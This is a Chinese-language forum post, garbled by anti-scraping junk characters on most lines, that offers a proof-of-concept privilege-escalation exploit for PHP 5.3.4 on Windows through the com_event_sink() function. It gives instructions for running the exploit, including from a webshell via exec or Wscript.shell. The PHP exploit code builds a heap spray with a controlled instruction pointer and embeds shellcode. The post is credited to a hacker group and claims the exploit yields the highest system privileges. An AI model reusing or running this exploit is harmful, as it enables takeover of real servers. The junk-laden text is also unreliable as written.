|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
4 c5 d2 ]" `! P% ]6 }+ s T. T& p9 G; i
; a: {9 [6 F u2 r5 c测试方法如下:cmd /c x:\php\php.exe x:\test.php5 G% z1 o4 K1 {
5 `; A, Z7 e- ?& e
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php q( \, }" |1 u* a n% |7 @
这里是两个测试的截图:6 w% }% s# ^ c% }
( O8 ~* Q0 N; L# w% O; e: I2 m1 t0 x0 a! H- \/ q
* [( _2 t0 d$ z9 z8 k; o. Q
+ b! o# `6 K; |1 ?
; z. |: s9 R% }0 \1 ~# A
成功利用此漏洞的攻击者将获得系统的最高权限
c8 u& o; l: G( Z8 l# }6 g) Y$ m
) H6 O5 Q7 y* m* @* g# w
+ y% }. a- N# l+ i+ M! B6 J7 ^* y) J) {; ~# v, I
# p$ J8 N1 C w' T y! g4 ^# n; f关于漏洞分析稍后附上。一下是PoC代码:
) B2 M( B! v; n1 }, {$ \5 ?. T
# G/ @' {: |2 @5 Z0 ?+ s9 k t<?php' y' q0 s+ |6 N- n8 v
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
+ l8 k& D; X! v7 }: N( k//$eip ="\x44\x43\x42\x41";$ n: m! w( P" }- V
$eip= "\x4b\xe8\x57\x78";
, \: M. o0 d) ^4 ~" V# l3 `$eax ="\x80\x01\x8d\x04";
J2 k: J/ ?6 T* ]$deodrant="";* R! t3 E/ |1 P5 D
$axespray = str_repeat($eip.$eax,0x80);
' j; l' v3 [+ v3 ^$ O0 B* C//048d01901 p' ?3 u8 d/ S+ ?1 t7 [6 K1 ^* v6 ~
echo strlen($axespray);
% k: @7 y8 S/ x; A! N0 O, uecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";( w( _, i! G) i/ j. W6 c( ]1 E
echo "Silic Group Hacker Army - BlackBap.Org";- i4 a4 |* _3 n- ~2 G& _& ~. P
//19200 ==4B32 4b00
, d3 z1 }* S: D2 R# Q, {for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}6 `7 t7 w6 J# Q( C8 [1 G' U
$terminate = "T";
M7 m7 O* O. ]& @: M, s$u[] =$deodrant;$ T# B! |' w# ^5 E' }' y
$r[] =$deodrant.$terminate;( O% G, `2 N P* a) ^+ E% s
$a[] =$deodrant.$terminate;9 o7 X2 m/ h# n$ ]9 v- y
$s[] =$deodrant.$terminate;
1 r" x- u3 H% r//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的
4 x+ l2 S0 v9 L+ q, O) I& T$vVar = new VARIANT(0x048d0000+180);$ R0 R3 ?& w- d7 Q
//弹窗代码(Shellcode)
* H+ A/ g: b _6 l5 s) R+ n. V- Y$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";8 H% A" }# h" U* A
$var2 = new VARIANT(0x41414242);
b E7 X5 u9 r) |com_event_sink($vVar,$var2,$buffer);' [9 d( C. ] u+ U) I
?>- r/ e) @' |/ E" y7 N8 i
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|